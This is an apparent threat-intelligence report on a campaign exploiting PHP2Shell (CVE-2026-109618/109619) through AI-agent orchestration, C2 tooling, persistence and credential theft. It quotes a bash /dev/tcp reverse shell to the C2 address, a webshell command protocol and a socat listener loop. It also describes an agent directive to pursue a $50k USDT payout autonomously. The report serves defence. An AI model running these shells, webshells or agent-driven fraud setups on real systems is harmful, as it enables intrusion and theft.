Home/Research/Post

PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign

SOCRadar Threat Research Unit (STRU) identified attacker-operated infrastructure at 206.245.153[.]56 serving as the command-and-control (C2), payload-hosting and loot-collection server of a PHP2Shell (CVE-2026-109618, CVE-2026-109619) exploitation campaign. Its exposed working directory held the operator’s exploit scripts, per-target notes, monitoring and collector scripts, and data exfiltrated from compromised hosts.

Within days of the public proofs of concept released on October 21, 2026, the operator adapted the exploit to default-configuration PHP/Apache and to individual PHP builds. Each target became a numbered job in a C2 workflow running from eligibility checks through exploitation, persistence, credential harvesting and upload.

An AI-agent system queued and ran the exploitation: a self-built job orchestrator (maq) dispatching patched Oh My Pi (omp) workers against two SSH-forwarded vLLM DeepSeek V4.1 endpoints.

The collector exfiltrated cloud API keys, IAM credentials, database backups, application secrets, OAuth tokens, repositories and session files, while token-authenticated webshells, cron reverse beacons, SSH keys and encrypted Dropbear tunnels kept long-term access.

The pattern fits an initial-access-broker (IAB) resale model, alongside an agent-driven financial-fraud track against payment platforms that reached withdrawal and account-takeover primitives without confirmed theft. Victims face follow-on cloud abuse, secondary takeovers and supply-chain compromise through stolen credentials and source code.

initial access broker resale model agent driven fraud payment platforms

Key Takeaways

  • Disclosure-day weaponization: The operator wrote its first PHP2Shell exploit script on October 21, 2026, the day the public proofs of concept were released, and adapted it to default PHP/Apache configurations
  • AI-agent orchestration: A self-built queue (maq) ran 39 parallel omp workers against two self-hosted DeepSeek V4.1 endpoints, and a GOAL.md directive told an agent to work autonomously toward over $50,000 USDT in payouts
  • Scale: From a Shodan pool of 68,198 PHP/Apache hosts, the operator attacked 595 unique IPs in 57 countries; 404 are confirmed compromised, yielding about 290,000 exfiltrated files (9.5 GB)
  • No confirmed crypto theft: Withdrawals, including 456,900 USDC, stayed pending and 7.3 BTC stayed encrypted; the completed impact was about 3.3 million user records taken from an unauthenticated Redis instance
  • Operator OPSEC failure: An AI worker ran the collector on the operator’s own lab and uploaded a snapshot of it to the public loot service

Our FAQ blog, PHP2Shell (CVE-2026-109618 and CVE-2026-109619), covers the flaws, fixed versions, and remediation. To see whether a specific site still needs that fix, SOCRadar’s free PHP2Shell Checker flags its exposure in seconds, with no signup, agent, or exploitation.

How the Infrastructure Was Discovered

Discovery occurred via two open, read-only HTTP endpoints hosted on the system: one publishing a directory index of the operator’s home folder and another facilitating tool distribution and exfiltrated file collection. A separate open directory was subsequently identified on 2026-11-08 on the operator’s AI lab (157.180.96[.]7:18082), exposing its full 18 GB working tree.

These endpoints exposed a comprehensive archive containing operational scripts, target-specific documentation, monitoring logs, modified exploit variants, active task directories, and a snapshot of harvested assets.

The C2 address has been reported before. Sensor data recorded it as the external endpoint for reverse shells and payload retrieval, and a separate advisory listed it as an operator server.

Infrastructure Map
Infrastructure Map
Port Service Role
22/tcp OpenSSH Operator administration; victim-side authorized_keys point back here, and the c2-agents key is reused across jobs
80/tcp HTTP (Python) Per-job payload scripts served for curl … | sh, such as /j434.sh
8088/tcp Python HTTP file service (no auth, no TLS) GET /tools/ serves collectors and kits; POST /<job>/<name>.tgz returns 201 Created and stores loot (64 MB per upload)
8091/tcp HTTP directory listing Operator home: ≈1,259 files (≈19 MB) of scripts, notes, watchers, logs and key material
41000+ socat / tmux listeners One reverse-shell listener per job; port = 41000 + job ID
43402/tcp Dropbear reverse tunnel Endpoint for localhost-only Dropbear installed on victims

Related Operator Infrastructure

Indicator Role Evidence
157.180.96[.]7 AI-agent lab, rehearsal target, direct HTTP and SSH attack source, 2nd open directory Debian 12 on Hetzner, 20 cores, ≈192 GB RAM, 39 omp workers; client address in 19 victim jobs; a C2 database note calls it “our worker”
185.65.134[.]250 External exploit and SSH jump source Present in 94 files across 70 jobs (October 29–30), including 321 POST / requests with the PHP2Shell memory-exhaustion signature and eight SSH logins using the c2-agents key
s3.buckets[.]ninja Operator MinIO object storage (rclone remote) Operator-side buckets created October 28

Attack Chain

The operational lifecycle of PHP2Shell moves sequentially through target sourcing, eligibility verification, initial exploitation, shell establishment, tool retrieval, persistence configuration, data exfiltration alongside credential harvesting, asset upload, and subsequent follow-on access. Consequently, connection requests targeting port 8088 occur strictly post-exploitation, confirming active code execution on the target host.

Target sourcing: Target selection relies heavily on broad internet reconnaissance. The AI laboratory’s bulk scanner processes an imported Shodan dataset, distributing batches of 800 targets across 128 parallel workers. The lab’s custom scanning script, wide_shodan.py, queries Shodan’s host-search API for each vulnerable PHP version using the search filter X-Powered-By: “PHP/{version}” Server: Apache.

After filtering out CDN and WAF banners (including Cloudflare, Sucuri, Akamai, and Imperva), it stores raw findings in .shodan-wide – a repository of 68,198 unique hosts. From this pool, it prioritizes a shortlist of approximately 5,042 Debian-specific targets, categorized by empirical per-version RCE success rates (30.2% for 8.5.11 and 20.0% for 8.4.26). Additionally, 47 C2 entries reference a “prefilter” PHP version obtained from scanning data that was outdated during real-time verification, with 12 entries explicitly mentioning Shodan.

wide_shodan.py
wide_shodan.py
Attacker commands in its own environment loot showing shodan scan
Attacker commands in its own environment loot showing shodan scan
wide_chain.py
wide_chain.py

Eligibility and queueing: Target URLs are classified by a matrix as direct, proxied, WAF-protected, patched, or unknown, with qualified targets pushed into the maq queue to be processed as agent jobs.

eligibility.py
eligibility.py

PHP2Shell trigger mechanism: Exploitation initiates via a multipart POST (capped at ≈8 MiB) containing over 1,000 fields and an excessive array of tiny header lines within one part, exhausting the default 128M memory_limit. A subsequent request over the same keep-alive connection leverages dangling session state to leak memory addresses and invoke a forged HashTable destructor mapped to zif_system.

exploit_default.py
exploit_default.py

Reverse-shell callback to the C2: The injected payload triggers a compact reverse shell connecting back from the target host to the C2 via port 41000 + job ID. This payload spans 94–100 bytes within the C2’s custom 280-byte forgery layout, whereas the un-modified exploit’s 167-byte baseline accommodates a maximum of 14 bytes. Incoming connections are handled by a tmux-managed socat listener. Conversely, the alternative curl … | sh execution vector relies on a distinct mechanism to retrieve dedicated scripts (e.g., j434.sh or x280.sh) containing embedded reverse shells.

Tool staging: Upon establishing initial contact, primary payloads are fetched from port 8088, including collect.sh, deep-loot.sh, persist2.sh, php-loot.php, x280.sh, and auxiliary cloud scripts.

Persistence deployment: Redundant access mechanisms are established, including operator SSH keys, 60-second reverse-shell beacons, token-authenticated PHP webshells, application-level backdoors (such as a Nextcloud “Beacon” app and a Laravel route-cache backdoor), and a localhost-only Dropbear service maintained via auto_prepend_file.

Data collection & harvesting: Automated tasks perform read-only system inventories, execute gitleaks/trufflehog secret scans, extract database dumps, decrypt application secrets, steal ECS/IMDS role credentials, and optionally run enumeration tools such as linPEAS, LSE, or pspy.

Exfiltration pipeline: Collected loot is packed into archives and POSTed to :8088/<job>/<name>.tgz. Files exceeding 60 MB are split into 32 MB chunks, with successful transfers logged by UPLOAD=201.

Sample of harvested exfiltration data
Sample of harvested exfiltration data

Follow-on operations: Post-exploitation continues via database extraction, mailbox enumeration, and cloud API pivots using stolen credentials, with an automated watchdog maintaining active listeners, beacons, and webshell connections.

c2_watchdog.py
c2_watchdog.py

Comparison: Threat Actor Trigger vs. Public PoCs

Unlike public proof-of-concept exploits that rely on non-standard environment conditions – such as an 8M memory limit, a single worker process, and enabled display_errors in lab PoCs, or chunked request bodies and hundreds of idle connections in research PoCs – the threat actor’s trigger operates seamlessly against default configurations. It respects standard post_max_size limits, declares an explicit Content-Length, and issues both exploitation requests over a single HTTP keep-alive session to guarantee targeting of the same prefork worker child process.

Upgrading from PHP 8.4.21 to 8.4.27 reduced the stage-1 memory leak from 4,096 to 32 bytes, confirming the operator’s toolkit targets CVE-2026-109618 and CVE-2026-109619. The exploit chain relies on a Set-Cookie oracle (PHP 8.3.17+/8.4.10+/8.5.x, falling back to a SID-constant oracle in 8.2.x) and server SAPI behavior – functioning under mod_php or FrankenPHP, but failing under FPM due to worker exit on startup OOM.

A GitHub audit (2026-10-23) of ~13 public PHP2Shell repositories enabled the operator to integrate per-build offsets and optimal techniques, notably 9bie’s default-config chain (display_errors=Off, 128M limit, 150-worker prefork). A Docker test matrix (matrix_results.md) verified RCE across 10/10 vulnerable images (8.4.24–8.5.11), while all patched controls halted at stage 1.

exploit_default.py
exploit_default.py
matrix_results.md
matrix_results.md

Non-PHP2Shell Attack Vectors

Beyond the primary PHP2Shell exploit chain, analysis of the corpus uncovered several alternative intrusion paths. The lab also deployed a React2Shell scanner (r2s-scanner/) for React Server Components/Next.js RCE (CVE-2025-55182 & CVE-2025-66478), confirming execution via a deterministic value in the X-Action-Redirect header; none of ~30 tested Next.js hosts were vulnerable.

A third vector targeting ~1,050 9router instances used command injection in /api/tunnel/tailscale-install’s sudoPassword field to gain root and SSH/Tailscale persistence, though results are questionable as at least one target was a load-balanced honeypot farm.

Another intrusion attempt involved an unauthenticated, exposed MCP server facilitating root privilege escalation via a passwordless sudo policy, public .git repositories exposing sensitive credentials, an unverified Firebase Realtime Database instance, unauthenticated account search endpoints, and credential brute-forcing directed at WordPress XML-RPC interfaces.

Additionally, a distinct port-80 dropper script (j434.sh) was deployed to inject SSH public keys directly into web document roots while exfiltrating initial triage logs to port 8088.

j434.sh
j434.sh

Separately, the operator staged WordPress-plugin n-day research – patch-diffing seven consecutive Forminator releases (f1.54–f1.58.0) alongside Elementor and Code-Snippets – indicating exploit development beyond the PHP2Shell/React2Shell vectors.

Inside the C2 Platform

Operating on top of a SQLite database catalogue, the C2 server consists of a lightweight Python 3 utility (/srv/c2/c2.py, deployed as /usr/local/bin/c2) running on the Fedora VPS under /srv/c2. Each targeted machine is represented by a single database record and assigned its own dedicated reverse-shell listener, while a background root watchdog continuously monitors and restores inactive webshells and listeners. File transfers are managed separately via a standalone service operating on port 8088.

c2.py
c2.py

C2 Components

Component File / process What it does
C2 CLI /srv/c2/c2.py, /usr/local/bin/c2 Single entry point with 17 subcommands. Reads and writes c2.db and drives tmux, socat, ss and ssh-keygen
Catalogue /srv/c2/c2.db One targets row per channel with 20 columns: id, label, url, profile, zif_off, dtor_off, htdata_off, htsize, port, cmd, method, status, chunk, lib, ws_url, ws_token, ws_path, notes, created, last_seen. label and port are unique
Listener tmux session c2-<id> Runs while :; do socat TCP-LISTEN:<port>,reuseaddr,keepalive -; done on port 41000 + id, or the next free port. The pane is the operator terminal; pipe-pane writes a transcript to sessions/<id>.log
Exploit driver exploit/exploit_default.py, exploit_default_flen64.py run_exploit passes the row’s URL, profile, offsets and command to the script (up to 3 tries) and parses chunk=… libphp=… from its output into the row
Per-target key keys/<id>/id_ed25519 Generated by ssh-keygen -t ed25519 at c2 add; the comment c2-<label>-<id> embeds the victim label
Beacon payload payloads/beacon-<id>.sh Loop that reconnects the reverse shell every 60 seconds; copied to /tmp/beacon.sh on the victim
Loot receiver c2-upload.py :8088 Python ThreadingHTTPServer rooted at /srv/c2/loot; GET list/download, POST write (201), 64 MB cap, no authentication
Payload host http80/ :80 Serves /j<job>.sh payloads for a separate dropper path
Watchdog c2_watchdog.py, c2-watchdog.service systemd service running as root every 15 seconds: starts missing listeners, runs c2 persist –start-beacon once for each live socket and calls c2 reconnect for webshells without a socket (retry every 300 seconds)

Command Reference

Command Function Mechanism
c2 add <label> <url> [–profile] [–port] [–notes] Create a target Inserts a row (status new, method none), picks the next free port from 41000 + id, generates the SSH key, stores the reverse-shell command and starts the listener
c2 exploit <id> [–tries] Run PHP2Shell against the target Starts the listener, runs the exploit with the row’s command, stores the leaked chunk/lib, and sets status shell only if ss shows an established socket on the port. Always updates last_seen
c2 send <id> ‘<cmd>’ [–wait] Run a command in the shell Types into the tmux pane (send-keys) and returns the pane tail once output settles
c2 attach <id> Interactive session tmux attach -t c2-<id>
c2 bootstrap <id> Initial triage Sends id, hostname; uname -a, pwd; ls -la, /etc/os-release, a check for bash/curl/wget/base64/python3/php/crontab/sshd, and ss -ltn
c2 persist <id> [–start-beacon] Install persistence Appends the target’s public key to ~/.ssh/authorized_keys, writes /tmp/beacon.sh via base64 and adds a per-minute cron line if crontab exists. Records method cron, webshell or key and sets status persist without verifying the key
c2 webshell <id> –docroot <dir> –url-base <url> Drop a PHP webshell Writes doc/thumb-<8 hex>.php with a random 32-hex token through the live shell, tests it with &c=id and stores the URL, token and path
c2 reconnect <id> Bring a lost shell back Starts the listener, requests <ws_url>?k=<token>&s=<port> and waits up to about 7 seconds for an established socket
c2 copyws <src> <dst> Share a webshell Copies URL, token and path to another row, giving a second concurrent channel on the same host
c2 list, show, note, start, stop, delete, shellcmd, init Housekeeping list shows conn when a socket is established, otherwise the stored status; shellcmd prints the reverse-shell one-liner; delete kills the tmux session and removes the row

Reverse-Shell Command and Webshell Protocol

Every row stores the same style of reverse-shell command. The lock file /tmp/.c<id> limits each target to one shell; deleting it allows a new one.

[ -e /tmp/.c<id> ] || { >/tmp/.c<id>;
  setsid bash -c 'bash -i >&/dev/tcp/206.245.153[.]56/<port> 0>&1' & }

Webshells are written as doc/thumb-<8 hex>.php with a 32-hex token; a wrong or missing token returns HTTP 404. Some webshells have no token and accept ?c= only.

GET <ws_url>?k=<token>&c=<cmd>    run command
GET <ws_url>?k=<token>&s=<port>   spawn reverse shell

Inside the C2 Database

The C2 database snapshot (targets table, IDs 1–1086) contains 1,053 rows recorded between October 21 and 25, 2026 (the lab holds its own copy, c2_audit/c2.db, 787 rows; and c2_audit/loot, a 576 MB mirror of exfiltrated data across 202 job directories / 459 archives), documenting the campaign’s exploitation attempts. While the vast majority of records represent failed attempts that produced no exploit outputs, successful compromises were concentrated within a small subset of the initial execution batches.

Target Catalogue Funnel
Catalogue rows
1,053
Has last_seen (exploit run)
430
Stage-1/2 leak recorded
91
Status shell or conn
59
Webshell recorded
49
Has a loot directory
239
In the 452-job registry
218

Additionally, 169 persistence-status entries lacking leak records contained exfiltrated data. This indicates that initial entry was gained independently of the C2’s native exploit driver, as custom agent sessions and alternative drivers do not log chunk or lib artifacts.

Outcomes Recorded in Operator Notes
Blank or other
398
Patched / fixed PHP
239
Shell or loot recorded
109
No RCE / no shell
77
No leak / stage 1 fails
70
WAF / CDN / proxy in front
68
php-fpm, not mod_php
51
Unreachable / dead
41

Keyword bucket, first match per note.

Results by Batch
Batch Rows Leak Shell/conn Loot Reading
w
Oct 22, 02:16-03:02
78 25 23 73 First hand-run wave; highest success rate
w2
Oct 22, 06:26 – Oct 23, 05:51
151 50 25 38 Second wave; most recorded leaks
gh4
Oct 23-24
22 11 8 11 Small calibrated batch (flen64 variants)
q1-q6
Oct 21, 22:02 – Oct 25, 10:06
784 3 2 ≈110 Bulk batches (74% of rows) with almost no exploit records; access was handled by other tooling
a1, a2, demo51, j*
Oct 21-25
18 2 1 7 Operator tests and single jobs

86 of the 91 recorded leaks and 56 of the 59 shells come from the w, w2 and gh4 batches (251 rows), so the C2 database documents exploit results for these batches only.

Results by PHP Build
Leak recordedShell/conn
8.4.26507 rows
7%
6%
Largest group; the default image the exploit was built for
8.4.27 (fixed)161 rows
0%
0%
Fixed release: no leak and no shell in any row
8.4.24, 8.4.21, 8.4.18, 8.4.25, 8.3.x≈311 rows
≈6%
≈5%
Older builds, calibrated per build
8.5.1112 rows
0%
0%
No recorded success
-flen64 variants (5 profiles)61 rows
≈61%
≈20%
Per-build 64-byte forgery variant with the highest leak rate (8.4.25-flen64: 91% leak, 45% shell)
Other Observations
33
Deleted rows
IDs missing between 1 and 1086 (the first at 113, the last at 1072), consistent with c2 delete
69%
Target ports
722 rows target HTTPS on 443 and 16% HTTP on 80, followed by 8080 (73), 8081 (26) and 8000 (24)
862
Command and geometry
of 1,053 stored reverse-shell commands are 98 bytes; the fake-structure size is the 280-byte variant in 810 rows, 167 in 190, 320 in 35 and 216 in 9
576
Timing
rows were added on October 22. Row creation clusters between 22:00 and 07:00 UTC (peaks at 02:00 and 05:00), but bulk additions by agents make this a weak indicator of operator hours

Targets at IP Level

Counting rows overstates the number of targets. The catalogue stores a URL, and the operator usually wrote the resolved IP into the label (<batch>-<ip>-<port>), so targets can be counted by host and by IP.

Measure Count
Rows 1,053
Distinct URLs 869
Distinct hosts (286 IP literals, 567 hostnames) 853
Distinct IPs known (for 555 rows; 498 hostname rows have no IP) 457

AI-Agent Orchestration and C2 Integration

The threat actor operated the AI-agent framework on a dedicated lab host (157.180.96[.]7), connecting to the central C2 server via SSH using a specialized key (c2_ed25519). While the C2 host managed active sessions, reverse listeners, victim records, and exfiltrated loot, the lab host handled target evaluation, queue management, and automated agent tasking. Both systems relied on shared target identifiers, unified upload paths, and a synchronized target database.

  • Targeting & Queue Management: Target eligibility and categorization are determined by matrix.py and eligibility.py. Valid targets are pushed to the maq agent jobs via enqueue.py, where job execution is distributed across 39 parallel omp workers and a single organizing process.
  • LLM Infrastructure & Routing: Worker requests are load-balanced by balance_models.py across dual DeepSeek V4.1 backends running on vLLM, accessible via local SSH tunnels on ports 18317 and 18318.
  • C2 Database Synchronization: The agent infrastructure polls /srv/c2/c2.db over SSH every 15 seconds using maq_monitor.py. In total, 194 entries in the C2 database explicitly reference an agent job ID, spanning 181 unique jobs.
  • Infrastructure Attribution: An internal C2 entry explicitly designates 157.180.96[.]7 as “our worker,” confirming that the lab system was an integral part of the attacker’s primary operational setup.

C2 records show a clear operational divide: C2 driver scripts (w, w2, gh4) caused most initial breaches, yielding 86 of 91 memory leaks and 56 of 59 interactive shells. In contrast, q batches contain no exploit logs despite connecting to approximately 110 exfiltrated loot folders.

This demonstrates that data gathering proceeded independently of the C2’s native exploitation tracking. Because this snapshot cannot clarify if the actions stemmed from autonomous agents or manual operator execution within unarchived tmux/maq sessions, the true degree of automation remains unconfirmed.

While the opportunistic track shows varying automation levels, the lab’s GOAL.md file specifies a fully autonomous “/goal” instruction to capture over $50k USDT through a live payout mechanism (“keep working autonomously until a real payout is executed“), demonstrating clear goal-driven autonomy for high-value targets.

GOAL.md
GOAL.md

Accidental Exfiltration of the Operator’s AI Lab

Job 176 initially targeted a standard victim environment – a Debian container running Apache and PHP 8.4.26. Approximately two minutes after the victim collection, however, an agent worker (MAQ_ROLE=worker) executed the collector script as root against the AI lab itself rather than through the compromised target; because collect.sh inventories whatever host it runs on – the -i flag sets only the C2 upload folder, not the target – the run captured the operator’s own machine.

Uploaded under the identical C2 job identifier (/176/), it exposed a 1 MB full-system snapshot of the threat actor’s environment (root@debian-12, 157.180.96[.]7) in the public loot repository – a target-selection/OPSEC failure in the operator’s own pipeline.

An open directory found on 2026-11-08 exposed the AI lab’s 18 GB working tree (157.180.96[.]7:18082). It confirms Shodan target sourcing, exploitation of CVE-2026-109618 and CVE-2026-109619, and an agent-driven financial-fraud campaign pivoting into application pods via unauthorized etcd → APISIX route injections.

The repository’s 389 per-target rce_notes document an interactive shell on 217 systems but root on only 12 (most access was unprivileged www-data inside containers). Autonomous AI instructions (GOAL.md) directed the agent to steal over $50k USDT.

Despite demonstrating live crypto-withdrawal primitives and account takeovers, no actual theft occurred: withdrawals on one payment platform remained pending from a dev account linked to a real payout API, while the attack on a second USDT platform failed due to a lack of reachability.

DEV_VERDICT.md
DEV_VERDICT.md
Leaked What it shows
Host identity Hostname debian-12, address 157.180.96[.]7, Hetzner dedicated server, Debian 12, Intel Core Ultra 7 265, 20 threads, 192 GB RAM, 1.8 TB disk, 1,521 processes at a load of 11
Link to the C2 18 established and 182 recent SSH connections to 206.245.153[.]56:22, matching the queue monitor’s 15-second polling of the C2 database
Agent workspaces Copies of 52 agent job directories (jobs 6 to 251), 51 session files and 470 work files: PHP source builds, victim archives (44 zip, 31 tgz) and configuration, including the agent queue config
Live processes 39 concurrent agent workers with their target URLs, per-job prompt paths and model assignments; two model endpoints on local ports 18317 and 18318
Peers 37 distinct external addresses in the socket table: 21 are in the C2 catalogue and 8 in the 452-job registry, so the lab talks to the same targets as the C2
Local copy of the loot A mirror of C2 loot under /tmp/c2loot and per-victim configuration copies under /tmp, so victim data is held on the lab as well as the C2
Build workspace PHP source trees for 8.5.11, 8.4.26, 8.4.18 and 8.3.27, the per-build calibration material
Who ran the collector The shell environment carries MAQ_ROLE=worker, OMP_PROFILE=maq, OMPCODE=1 and CLAUDECODE=1, a queue job directory and an inference-service key variable (not reproduced). An AI worker therefore executed collect.sh -i 176 on the wrong host. CLAUDECODE is set by Anthropic’s Claude Code CLI; it shows the agent harness is Claude Code or compatible with it, not which model answered: the queue configuration points the workers at DeepSeek V4.1 endpoints
Agent session footprint Two queue homes (.maq with project attempt1, .maq-rce with project rce); 23 agent sessions across 19 job directories between Oct 21, 21:32Z and Oct 22, 02:16Z, with tool-output logs numbered up to 518 in a single session
Model and GPU plumbing Systemd services deepseek-tunnel (18317) and deepseek-b200-tunnel (18318) forward SSH tunnels to rented GPU machines, and maq-router balances jobs between them; key and known-hosts files are named after two GPU rental providers (lium, runpod)
Privacy tooling The Mullvad VPN daemon runs with an nftables rule exempting inbound SSH from the tunnel; a boot-time dead-man unit is present but failed
Provisioning trail Short, manual root shell history: package updates, installing jq, ripgrep, tmux, build tools and uv, then repeated maq attach to watch agent terminals. The C2 key on the lab was created on Oct 21 at 21:23Z
Crypto-wallet sweeper A crypto-swiper project (Python 3.13 with XRPL and NaCl libraries, a rotating proxy pool, per-chain RPC settings) and a root service on 127.0.0.1:8077
Exfiltrated data from the operator’s environment
Exfiltrated data from the operator’s environment

Tooling

While core exploit mechanics and general tooling remain available publicly, key operational components – including custom triggers, build-specific calibration routines, C2 orchestration, data collection modules, and persistence mechanisms – were developed directly by the operator.

Tool Role Why it matters
exploit_default*.py (+ -flen64) PHP2Shell exploit fork Default-limit trigger, keep-alive pinning, per-build profiles for PHP 8.2–8.5 and a 64-byte forgery variant
c2.py, c2_watchdog.py Per-target C2 manager and watchdog SQLite job store and a 15-second loop that restarts listeners and reconnects webshells
collect.sh, deep-loot.sh Inventory and deep secret scan Fixed output layout shared by every job; gitleaks/trufflehog across web roots and .git history
persist2.sh, x280.sh, j468/keep.sh Persistence payloads SSH key drop, beacon, webshell, cron, and a localhost-only Dropbear with reverse tunnel and LD_PRELOAD shim
j370_beacon.tgz, Laravel backdoor Application-level persistence Nextcloud app respawning a reverse shell every 300 seconds; Laravel route-cache backdoor with a fixed token
j240_aws.php, awsq.php Cloud credential theft Reads ECS task-role credentials, signs AWS requests and enumerates STS, S3, Secrets Manager, SSM and RDS; probes AWS, Alibaba and GCP metadata
matrix.py, enqueue.py, balance_models.py AI queue and model routing Classifies targets, feeds maq and balances workers across the vLLM endpoints

Public components include the 9bie/php2shell-bypass-aslr-exp and 3em0/php2shell PoCs, gitleaks, trufflehog, linPEAS, LSE, pspy, Dropbear, rclone, socat and tmux. Dirty COW (CVE-2016-5195) and a Copy Fail (CVE-2026-31431) port were staged, with no execution evidence.

Collection and Loot

Exfiltrated victim data is routed through a unified exfiltration path: host-side scripts (collect.sh and deep-loot.sh) archive gathered assets and transmit them via POST requests to port 8088, where they are indexed by task ID. As of November 3, 2026, the repository snapshot comprised approximately 290,000 files totaling 9.5 GB distributed across 481 numeric job directories, with 8.6 GB generated from 452 jobs containing verified victim artifacts.

deep-loot.sh
deep-loot.sh

The threat actor explored three distinct crypto-related attack vectors, none of which resulted in successful financial gain:

  • Breached a dev stack via etcd → APISIX route injection, captured OIDC/HMAC keys to take over production accounts, and initiated a ~456,900 USDC withdrawal on another platform that remained pending. However, it successfully exfiltrated ~3.3M user/session records (~1 GB) from unauthenticated Redis.
  • Exposed DB-root credentials, a 1.71M USDT ledger, and 100+ Binance keys, but the live system was unreachable, blocking the autonomous GOAL.md >$50k-USDT objective.
  • Mass-downloaded wallet.dat files; the only exposed wallet had 0 UTXO, ~7.3 BTC remained encrypted, and its vault (0x58da…097e) is empty. Separately, 11,124 mailboxes and AWS/GCP/Alibaba clouds were enumerated.
redacted_access.md
redacted_access.md

Each exfiltrated bundle follows a uniform directory organization comprising README.txt, meta.tsv (capturing approximately 60 system parameters along with the C2 job ID), manifest.tsv, and sequential inventory logs indexed from 00-identity to 23-crypto-candidates. Beyond these core files, packages contain system configuration backups, active session data, cryptographic keys, uploaded source code samples, native PHP runtime profiles, and Git metadata. For extended bundles, additional telemetry includes repository commit histories, gitleaks findings, and optional scan results from linPEAS and trufflehog.

Class Count Spread Notes
Secret-scan hits 114,046 516 bundles Keyword matches, capped at 400 per host (215 bundles hit the cap).
AWS key IDs 49 141 jobs 16 long-term, 33 temporary; shared across jobs of one estate.
Application secrets 191 .env files 144 jobs Examples excluded. 113 jobs also hold DB or service URLs with a password.
Database dumps 589 files 22 jobs 530 from a single host.
Nextcloud accounts 33 mail accounts 16 jobs Plus 1,047 token and 439 user rows (lower bounds).
Git repositories 143 bundles History scanned with gitleaks.
Private keys 18 files 8 jobs .pem files not counted (mostly CA certificates).
Endpoint stores 866 keychains 6 jobs Plus 211 Chrome Login Data files (1 job) and 32 VPN profiles (3 jobs).
Email 1,076 .eml 1 job One mailbox export.

Analysis shows that keyword hits produce high amounts of noise: approximately 84% reside within text files, scripts, and application source code. Conversely, operational credentials are heavily concentrated in .env and configuration files, which account for roughly 2% of findings. Across 123,234 total gitleaks detections, 90% stem from low-fidelity generic-api-key matches. The strongest signals for actionable credentials are vendor-specific rules (such as AWS, GCP, OpenAI, Stripe, and private keys), which collectively comprise 2,861 findings.

Victimology

Victim data comes from the collector bundles and the operator’s job registry. Across both exposed directories, the operator targeted 595 unique IPs in 57 countries, drawn from a Shodan pool of 68,198 hosts shortlisted to about 5,042. The AI-lab directory shares 337 hosts with the earlier findings, confirming a single operation, and adds 202 new targets.

Of these, 404 hosts were compromised. Of the 452 collection jobs, 433 hold victim-side loot or check-in evidence, which establishes compromise across about 393 unique hosts. The remaining jobs are lab-side bundles, and job 176 also captured the operator’s own lab. The AI lab’s rce_notes directory holds 389 per-target exploitation notes, against 23 in the earlier dump and the initial 14-note baseline. Those notes document an interactive shell on 217 hosts but root on only 12; 219 landed as unprivileged uid=33 www-data, most inside containers.

Analysis of PHP2Shell Exploitation Across 452 Collection Jobs
Analysis of PHP2Shell Exploitation Across 452 Collection Jobs

Target selection followed PHP/Apache exposure, and the victims include financial platforms and a lottery service. Of the 452 jobs, custom PHP applications accounted for 200 and Nextcloud for 163, followed by Apple/MDM (14), GitLab (7), MSSQL backup hosts (6), WordPress (3), Drupal and Moodle. At least 308 jobs (68%) ran in Docker or Podman containers, and Amazon EC2 was the most common host (112 jobs).

Geographic distribution of the victims
Geographic distribution of the victims

A sector could only be assigned where a bundle identified the organization, which covers about 120 jobs:

Sector Jobs What was exposed
Marketing and media analytics 88 One AWS-hosted estate: ECS/EC2 task-role and IAM credentials, RDS connection strings, BI and advertising OAuth tokens, user tables
Education 15 A school-district Apple/MDM estate, a university web application and school-management software with a user PII table
IT services and hosting 5 A DNS TSIG key and zone-transfer client; IMAP credential-reuse attempts
Financial services and payments 3 A credit-application database (431 tables, ≈71.5 million rows), banking-data API payloads, cloud task-role credentials
Healthcare 3 AWS ECS/RDS task-role credentials, user records, password hashes, KYC records and payments
Energy and water 2 Full Nextcloud database and mailbox exports, file-cache names, client tokens
Software ≈3 A self-hosted Git server (one government-related repository), a TrueNAS host and a developer workstation

Target selection relied on PHP and Apache fingerprinting rather than specific industry sectoring. The presence of high-value data within the collected corpus is a function of the vulnerable exposed hosts discovered, rather than intentional organizational targeting.

Attribution and Operating Model

Although the documented dataset provides comprehensive visibility into victim sessions, exfiltrated assets, operational tooling, and network infrastructure, it lacks definitive persona profiles, linguistic markers, registration intelligence, or distinct malware signatures necessary to attribute the campaign to a specific threat group.

The AI-lab open directory provides concrete attribution handles: the operator’s crypto-swiper vault address, reused “omp”/”maq” naming across tools and accounts, a cleartext Shodan API key (1vg***5vn – Username: jfdioiosda), a tempmail address, reused SSH keys (c2-agents, 9router_ed25519) – offering key pivots for infrastructure intelligence.

Dimension Assessment Evidence
Tooling origin Modified public framework plus custom orchestration Docstring credits two public PoCs; collector, watchers, C2 job model and cloud helpers are operator-specific
Technical complexity Moderate Heap-groom adaptation and default-limit trigger; no novel memory-corruption research or anti-analysis
Operational tradecraft Average Organized job model, but a conventional footprint reused across jobs and no cleanup discipline
AI usage Material Self-built maq job orchestrator dispatching patched omp workers and two vLLM DeepSeek V4.1 endpoints
Novelty Documented CVE; undocumented campaign The toolkit, pipeline and victim set were not found in public reporting

STRU assesses with moderate confidence that the activity and victim mapping reflect an unauthorized, financially motivated operator working in the initial-access-broker pattern (capable opportunist with strong automation). Confidence in identity is low: no named actor matches and the operator’s origin is not established; tooling and notes are English-language only.

Conclusion

SOCRadar Threat Research Unit reconstructed the operator’s infrastructure, exploit fork, C2 database and victim-side bundles to show how a public proof of concept became an automated pipeline for exploitation, persistence and credential theft within days of disclosure.

The operator built a job-based C2, a standard collector and an AI-agent layer that turned each shell into cloud keys, database dumps and source code. The campaign was human-directed and AI-augmented. GOAL.md told an agent to pursue over $50,000 in USDT “autonomously until a real payout is executed”, and DeepSeek-powered workers tailored exploits, created C2 records and ran exfiltration. Full autonomy was never reached: the main financial targets failed, and no chain completed without manual oversight.

The operation has weaknesses. The toolkit fails against fixed PHP releases, most targets produced no recorded exploit result, and fixed ports, a reused SSH key and a uniform bundle layout give defenders durable detection points.

AI-assisted operations shrink the gap between disclosure and mass compromise from weeks to days. Defenders should patch fast, hunt for persistence, rotate credentials on exposed hosts and track the infrastructure behind exploitation campaigns.

Recommendations

  • System Patching & Version Verification: Upgrade PHP to 8.2.35, 8.3.36, 8.4.27, or 8.5.12 on all exposed hosts, restart Apache and PHP-FPM, and verify SAPI versions beyond CLI php -v.
  • Network Perimeter & Infrastructure Defenses: Limit multipart fields/headers and rate-limit large POSTs at WAF/web server levels. Treat PHP_SESSION_UPLOAD_PROGRESS filtering as secondary. Enforce IMDSv2, restrict task roles, and alert on web process access to metadata endpoints.
